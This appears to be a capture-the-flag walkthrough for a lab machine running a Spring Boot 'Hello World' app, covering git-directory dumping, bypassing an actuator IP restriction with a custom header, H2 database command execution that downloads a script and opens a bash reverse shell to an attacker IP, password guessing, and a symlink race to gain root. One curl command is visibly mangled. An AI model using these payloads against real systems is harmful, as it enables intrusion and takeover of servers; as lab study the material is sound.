Can you hack your way in to a Hello World application?
Enumeration
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
443/tcp open https syn-ack ttl 61
We can look into the http(s) services however don’t find anything, we can try using curl instead and get a reply of “hello, world”:
With not a lot to work off of, we can bruteforce directories:
We find sources, we can start bruteforcing that too:
Finally, we go a step deeper and find a .git directory. Let’s use git tools to download it:
/opt/GitTools/Dumper/gitdumper.sh https://spring.thm/sources/new/.git .
Checking the git log, we see there’s a message regarding a password:
We can get to enumerating the repo by restoring the latest commit to our current directory:
git reset --hard 1a83ec34bf5ab3a89096346c46f6fda2d26da7e6
Let’s check our application.java file, we see the controller for our hello world function:
@RestController
//https://spring.io/guides/gs/rest-service/
static class HelloWorldController {
@RequestMapping("/")
public String hello(@RequestParam(value = "name", defaultValue = "World") String name) {
System.out.println(name);
return String.format("Hello, %s!", name);
}
It looks as if we can actually pass any value and it’ll be read, let’s try it:
We also have an actuator but this is only accessible on an internal range:
@Configuration
@EnableWebSecurity
static class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.antMatchers("/actuator**/**").hasIpAddress("172.16.0.0/24")
.and().csrf().disable();
}
}
We can assume there’s some underlying docker image or vhost that we have to escape later on. We also have application.properties
:
server.port=443
server.ssl.key-store=classpath:dummycert.p12
server.ssl.key-store-password=DummyKeystorePassword123.
server.ssl.keyStoreType=PKCS12
management.endpoints.enabled-by-default=true
management.endpoints.web.exposure.include=health,env,beans,shutdown,mappings,restart
management.endpoint.env.keys-to-sanitize=
server.forward-headers-strategy=native
server.tomcat.remoteip.remote-ip-header=x-9ad42dea0356cb04
server.error.whitelabel.enabled=false
spring.autoconfigure.exclude=org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration
server.servlet.register-default-servlet=true
spring.mvc.ignore-default-model-on-redirect=true
spring.security.user.name=johnsmith
spring.security.user.password=PrettyS3cureSpringPassword123.
debug=false
spring.cloud.config.uri=
spring.cloud.config.allow-override=true
management.endpoint.heapdump.enabled=false
spring.resources.static-locations=classpath:/META-INF/resources/, classpath:/resources/, classpath:/static/, classpath:/public/
We have two passwords and interesting parameter that could help us with the 172.16.0.0/24 IP restriction:
server.tomcat.remoteip.remote-ip-header=x-9ad42dea0356cb04
Let’s try it, we’ll make the following request:
curl https://spring.thm/actuator/ -H 'x-9ad42dea0356cb04: 172.16.0.69' -k -v
We get a valid response from the server:
Foothold
How do we exploit this? If we look for actuator exploits for spring boot, we can find a blog post relating to our exact scenario:
https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database/
Let’s try running a command that connects back:
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.69' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'wget http://10.13.39.144:8000/rev.sh -O /tmp/rev.sh\');\"}' "https://spring.thm/actuator/env" -k
Now let’s give the actuator a quick restart:
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.69' "https://spring.thm/actuator/restart" -k
My rev.sh file contains:
#!/bin/bash
bash -i >& /dev/tcp/10.13.39.144/4443 0>&1
Now, all we have to do is run the script:
curl -X 'POST' -H 'curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.69' "https://spring.thm/actuator/restart" -kContent-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.69' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'bash /tmp/rev.sh\');\"}' "https://spring.thm/actuator/env" -k
We then run another restart:
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.69' "https://spring.thm/actuator/restart" -k
Our foothold flag is in /opt
User own
Enumerating a little further, we find another password:
[+] Environment
[i] Any private information inside environment variables?
LANG=en_US.UTF-8
SUDO_GID=0
USERNAME=root
SUDO_COMMAND=/bin/su nobody -s /bin/bash -c /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java -jar /opt/spring/sources/new/spring-0.0.1-SNAPSHOT.jar --server.ssl.key-store=/opt/privcert.p12 --server.ssl.key-
store-password=PrettyS3cureKeystorePassword123.
XDG_SESSION_ID=c1
USER=nobody
HOME=/nonexistent
SUDO_USER=root
HISTFILE=/dev/null
SUDO_UID=0
We can assume this is for his “regular password format”, we know his password is:
PrettyS3cure<something>Password123.
We can either use a tool such as:
https://github.com/carlospolop/su-bruteforce
Or we can just make an estimate:
PrettyS3cureAccountPassword123.
We get our shell as john using this:
Root own
For the sake of having a stable shell, I generated SSH keys (on the box) and copied the id_rsa.pub into a file called authorized_keys then SSH’d using the public key:
Let’s get back to rooting, if we check the spring boot service, we see there’s a scripting running in the root directory:
We can’t read this directly but if we check the service status we can see what’s happening:
It looks as if it’s running tee against a log file, unfortunately this is made using an epoch time which we can’t guess, we’ll have to time an exploit perfectly. We have access to both python and bash, I’ll use bash:
#!/bin/bash
cp /home/johnsmith/.ssh/id_rsa ./key
cp /home/johnsmith/.ssh/id_rsa.pub ./key.pub
pubkey=$(cat ./key.pub)
## Shutdown server
curl -X POST https://localhost/actuator/shutdown -H 'x-9ad42dea0356cb04: 172.16.0.21' -k
# Get epoch time
d=$(date '+%s')
# For the next 10 seconds, create symlink to authorized_keys
for i in {1..30}
do
let time=$(( d + i ))
ln -s /root/.ssh/authorized_keys "$time.log"
done
# Sleep wihile app restarts
sleep 10s
# send public key as our name (like we did at the very start)
curl --data-urlencode "name=$pubkey" https://localhost/ -k
sleep 5s
# ssh as root to localhost
ssh -o "StrictHostKeyChecking=no" -i ./key root@localhost
It’s worth noting, you cannot have your reverse shell open as this script runs (aren’t you glad we got an SSH key in there earlier?). Also ensure this is ran from the tomcatlogs directory. Our script can be ran as:
chmod +x root.sh && ./root.sh
We get our shell shortly after: